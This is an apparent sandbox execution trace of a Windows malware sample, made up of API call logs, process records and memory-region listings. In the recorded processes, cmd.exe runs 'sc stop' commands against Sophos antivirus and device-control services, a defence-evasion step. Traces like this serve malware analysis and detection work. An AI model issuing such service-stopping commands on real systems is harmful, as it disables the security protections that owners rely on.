[0060.670] _wcsicmp (_String1="sc", _String2="ERASE") returned 14 [0060.670] _wcsicmp (_String1="sc", _String2="DEL") returned 15 [0060.670] _wcsicmp (_String1="sc", _String2="TYPE") returned -1 [0060.670] _wcsicmp (_String1="sc", _String2="COPY") returned 16 [0060.670] _wcsicmp (_String1="sc", _String2="CD") returned 16 [0060.670] _wcsicmp (_String1="sc", _String2="CHDIR") returned 16 [0060.670] _wcsicmp (_String1="sc", _String2="RENAME") returned 1 [0060.670] _wcsicmp (_String1="sc", _String2="REN") returned 1 [0060.670] _wcsicmp (_String1="sc", _String2="ECHO") returned 14 [0060.670] _wcsicmp (_String1="sc", _String2="SET") returned -2 [0060.670] _wcsicmp (_String1="sc", _String2="PAUSE") returned 3 [0060.670] _wcsicmp (_String1="sc", _String2="DATE") returned 15 [0060.670] _wcsicmp (_String1="sc", _String2="TIME") returned -1 [0060.670] _wcsicmp (_String1="sc", _String2="PROMPT") returned 3 [0060.670] _wcsicmp (_String1="sc", _String2="MD") returned 6 [0060.670] _wcsicmp (_String1="sc", _String2="MKDIR") returned 6 [0060.670] _wcsicmp (_String1="sc", _String2="RD") returned 1 [0060.670] _wcsicmp (_String1="sc", _String2="RMDIR") returned 1 [0060.670] _wcsicmp (_String1="sc", _String2="PATH") returned 3 [0060.670] _wcsicmp (_String1="sc", _String2="GOTO") returned 12 [0060.670] _wcsicmp (_String1="sc", _String2="SHIFT") returned -5 [0060.670] _wcsicmp (_String1="sc", _String2="CLS") returned 16 [0060.670] _wcsicmp (_String1="sc", _String2="CALL") returned 16 [0060.670] _wcsicmp (_String1="sc", _String2="VERIFY") returned -3 [0060.670] _wcsicmp (_String1="sc", _String2="VER") returned -3 [0060.670] _wcsicmp (_String1="sc", _String2="VOL") returned -3 [0060.670] _wcsicmp (_String1="sc", _String2="EXIT") returned 14 [0060.670] _wcsicmp (_String1="sc", _String2="SETLOCAL") returned -2 [0060.670] _wcsicmp (_String1="sc", _String2="ENDLOCAL") returned 14 [0060.670] _wcsicmp (_String1="sc", _String2="TITLE") returned -1 [0060.670] _wcsicmp (_String1="sc", _String2="START") returned -17 [0060.670] _wcsicmp (_String1="sc", _String2="DPATH") returned 15 [0060.670] _wcsicmp (_String1="sc", _String2="KEYS") returned 8 [0060.670] _wcsicmp (_String1="sc", _String2="MOVE") returned 6 [0060.670] _wcsicmp (_String1="sc", _String2="PUSHD") returned 3 [0060.670] _wcsicmp (_String1="sc", _String2="POPD") returned 3 [0060.670] _wcsicmp (_String1="sc", _String2="ASSOC") returned 18 [0060.670] _wcsicmp (_String1="sc", _String2="FTYPE") returned 13 [0060.670] _wcsicmp (_String1="sc", _String2="BREAK") returned 17 [0060.671] _wcsicmp (_String1="sc", _String2="COLOR") returned 16 [0060.671] _wcsicmp (_String1="sc", _String2="MKLINK") returned 6 [0060.671] _wcsicmp (_String1="sc", _String2="FOR") returned 13 [0060.671] _wcsicmp (_String1="sc", _String2="IF") returned 10 [0060.671] _wcsicmp (_String1="sc", _String2="REM") returned 1 [0060.671] _wcsnicmp (_String1="sc", _String2="cmd ", _MaxCount=0x4) returned 16 [0060.671] SetErrorMode (uMode=0x0) returned 0x0 [0060.671] SetErrorMode (uMode=0x1) returned 0x0 [0060.671] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x565e10, lpFilePart=0x16f000 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x16f000*="Desktop") returned 0x25 [0060.671] SetErrorMode (uMode=0x0) returned 0x1 [0060.671] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49e90640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0060.671] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0060.677] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49e90640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0060.678] InitializeProcThreadAttributeList (in: lpAttributeList=0x16f0fc, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x16f1c4 | out: lpAttributeList=0x16f0fc, lpSize=0x16f1c4) returned 1 [0060.678] UpdateProcThreadAttribute (in: lpAttributeList=0x16f0fc, dwFlags=0x0, Attribute=0x60001, lpValue=0x16f1bc, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x16f0fc, lpPreviousValue=0x0) returned 1 [0060.678] GetStartupInfoW (in: lpStartupInfo=0x16f0b8 | out: lpStartupInfo=0x16f0b8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x144, lpReserved2=0x5519d4, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0060.678] lstrcmpW (lpString1="\\sc.exe", lpString2="\\XCOPY.EXE") returned -1 [0060.679] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc stop \"Sophos Clean Service\" /y", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x16f158*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc stop \"Sophos Clean Service\" /y", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x16f1a4 | out: lpCommandLine="sc stop \"Sophos Clean Service\" /y", lpProcessInformation=0x16f1a4*(hProcess=0x7c, hThread=0x78, dwProcessId=0x824, dwThreadId=0x828)) returned 1 [0060.684] CloseHandle (hObject=0x78) returned 1 [0060.684] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0060.684] GetEnvironmentStringsW () returned 0x564de0* [0060.684] FreeEnvironmentStringsW (penv=0x564de0) returned 1 [0060.684] WaitForSingleObject (hHandle=0x7c, dwMilliseconds=0xffffffff) returned 0x0 [0060.748] GetExitCodeProcess (in: hProcess=0x7c, lpExitCode=0x16f098 | out: lpExitCode=0x16f098*=0x424) returned 1 [0060.748] CloseHandle (hObject=0x7c) returned 1 [0060.748] _vsnwprintf (in: _Buffer=0x16f1e0, _BufferCount=0x13, _Format="%08X", _ArgList=0x16f0a4 | out: _Buffer="00000424") returned 8 [0060.749] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0060.749] GetEnvironmentStringsW () returned 0x566198* [0060.749] FreeEnvironmentStringsW (penv=0x566198) returned 1 [0060.749] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0060.749] GetEnvironmentStringsW () returned 0x566198* [0060.749] FreeEnvironmentStringsW (penv=0x566198) returned 1 [0060.749] DeleteProcThreadAttributeList (in: lpAttributeList=0x16f0fc | out: lpAttributeList=0x16f0fc) [0060.749] _get_osfhandle (_FileHandle=1) returned 0x7 [0060.749] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0060.750] _get_osfhandle (_FileHandle=1) returned 0x7 [0060.750] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x49e841ac | out: lpMode=0x49e841ac) returned 1 [0060.751] _get_osfhandle (_FileHandle=0) returned 0x3 [0060.751] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x49e841b0 | out: lpMode=0x49e841b0) returned 1 [0060.751] SetConsoleInputExeNameW () returned 0x1 [0060.751] GetConsoleOutputCP () returned 0x1b5 [0060.751] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49e84260 | out: lpCPInfo=0x49e84260) returned 1 [0060.751] SetThreadUILanguage (LangId=0x0) returned 0x409 [0060.751] exit (_Code=1060) Process: id = "49" image_name = "sc.exe" filename = "c:\\windows\\syswow64\\sc.exe" page_root = "0x3bfe000" os_pid = "0x824" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "48" os_parent_pid = "0x7cc" cmd_line = "sc stop \"Sophos Clean Service\" /y" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3159 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3160 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3161 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3162 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 3163 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 3164 start_va = 0x70000 end_va = 0xaffff entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 3165 start_va = 0x1d0000 end_va = 0x20ffff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 3166 start_va = 0xd60000 end_va = 0xd6bfff entry_point = 0xd60000 region_type = mapped_file name = "sc.exe" filename = "\\Windows\\SysWOW64\\sc.exe" (normalized: "c:\\windows\\syswow64\\sc.exe") Region: id = 3167 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3168 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3169 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 3170 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 3171 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 3172 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 3173 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3174 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3175 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3176 start_va = 0x2e0000 end_va = 0x35ffff entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 3177 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3178 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3179 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3180 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 3181 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 3182 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3183 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 3184 start_va = 0xb0000 end_va = 0x116fff entry_point = 0xb0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3185 start_va = 0x2d0000 end_va = 0x2dffff entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 3186 start_va = 0x430000 end_va = 0x52ffff entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 3187 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3188 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3189 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3190 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 3191 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3192 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3193 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3194 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3195 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3196 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3197 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3198 start_va = 0x120000 end_va = 0x121fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 3199 start_va = 0x210000 end_va = 0x2cffff entry_point = 0x210000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 3200 start_va = 0x130000 end_va = 0x13ffff entry_point = 0x130000 region_type = mapped_file name = "sc.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\sc.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\sc.exe.mui") Thread: id = 132 os_tid = 0x828 [0060.729] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x20fc54 | out: lpSystemTimeAsFileTime=0x20fc54*(dwLowDateTime=0xdf00d9a0, dwHighDateTime=0x1d4abdd)) [0060.729] GetCurrentProcessId () returned 0x824 [0060.729] GetCurrentThreadId () returned 0x828 [0060.729] GetTickCount () returned 0x1c9c3 [0060.729] QueryPerformanceCounter (in: lpPerformanceCount=0x20fc4c | out: lpPerformanceCount=0x20fc4c*=1813595900000) returned 1 [0060.729] GetModuleHandleA (lpModuleName=0x0) returned 0xd60000 [0060.729] __set_app_type (_Type=0x1) [0060.729] __p__fmode () returned 0x75ed31f4 [0060.729] __p__commode () returned 0x75ed31fc [0060.729] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xd679c7) returned 0x0 [0060.729] __wgetmainargs (in: _Argc=0xd69020, _Argv=0xd69028, _Env=0xd69024, _DoWildCard=0, _StartInfo=0xd69034 | out: _Argc=0xd69020, _Argv=0xd69028, _Env=0xd69024) returned 0 [0060.730] SetThreadUILanguage (LangId=0x0) returned 0x409 [0060.733] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0060.733] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0060.734] wcsncmp (_String1="st", _String2="\\\\", _MaxCount=0x2) returned 23 [0060.734] _wcsicmp (_String1="stop", _String2="query") returned 2 [0060.734] _wcsicmp (_String1="stop", _String2="queryex") returned 2 [0060.734] _wcsicmp (_String1="stop", _String2="start") returned 14 [0060.734] _wcsicmp (_String1="stop", _String2="pause") returned 3 [0060.734] _wcsicmp (_String1="stop", _String2="interrogate") returned 10 [0060.734] _wcsicmp (_String1="stop", _String2="control") returned 16 [0060.735] _wcsicmp (_String1="stop", _String2="continue") returned 16 [0060.735] _wcsicmp (_String1="stop", _String2="stop") returned 0 [0060.735] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x43f7a8 [0060.738] OpenServiceW (hSCManager=0x43f7a8, lpServiceName="Sophos Clean Service", dwDesiredAccess=0x20) returned 0x0 [0060.738] GetLastError () returned 0x424 [0060.738] _itow (in: _Dest=0x424, _Radix=2161388 | out: _Dest=0x424) returned="1060" [0060.738] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xd69380, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0060.740] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x20fad4, nSize=0x2, Arguments=0x20fae0 | out: lpBuffer="ᨘD\x01") returned 0x62 [0060.740] GetFileType (hFile=0x7) returned 0x2 [0060.740] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x20faa8 | out: lpMode=0x20faa8) returned 1 [0060.741] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x441a18*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x20fac4, lpReserved=0x0 | out: lpBuffer=0x441a18*, lpNumberOfCharsWritten=0x20fac4*=0x62) returned 1 [0060.741] LocalFree (hMem=0x441a18) returned 0x0 [0060.741] LocalFree (hMem=0x0) returned 0x0 [0060.741] CloseServiceHandle (hSCObject=0x43f7a8) returned 1 [0060.743] exit (_Code=1060) Thread: id = 133 os_tid = 0x82c Process: id = "50" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x12d09000" os_pid = "0x834" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x948" cmd_line = "C:\\Windows\\system32\\cmd.exe /c sc stop \"Sophos Device Control Service\" /y" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3201 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3202 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3203 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3204 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 3205 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 3206 start_va = 0x1f0000 end_va = 0x22ffff entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 3207 start_va = 0x240000 end_va = 0x33ffff entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 3208 start_va = 0x49dd0000 end_va = 0x49e1bfff entry_point = 0x49dd0000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe") Region: id = 3209 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3210 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3211 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 3212 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 3213 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 3214 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 3215 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3216 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3217 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3218 start_va = 0x70000 end_va = 0xeffff entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 3219 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3220 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3221 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3222 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 3223 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 3224 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3225 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 3226 start_va = 0xf0000 end_va = 0x1effff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 3227 start_va = 0x340000 end_va = 0x3a6fff entry_point = 0x340000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3228 start_va = 0x470000 end_va = 0x47ffff entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 3229 start_va = 0x75270000 end_va = 0x75276fff entry_point = 0x75270000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\SysWOW64\\winbrand.dll" (normalized: "c:\\windows\\syswow64\\winbrand.dll") Region: id = 3230 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3231 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3232 start_va = 0x75410000 end_va = 0x754acfff entry_point = 0x75410000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 3233 start_va = 0x756f0000 end_va = 0x757effff entry_point = 0x756f0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 3234 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3235 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 3236 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3237 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3238 start_va = 0x762d0000 end_va = 0x762d9fff entry_point = 0x762d0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 3239 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3240 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3241 start_va = 0x773c0000 end_va = 0x7744ffff entry_point = 0x773c0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 3242 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3243 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3244 start_va = 0x480000 end_va = 0x607fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000480000" filename = "" Region: id = 3245 start_va = 0x75d40000 end_va = 0x75e0bfff entry_point = 0x75d40000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 3246 start_va = 0x76500000 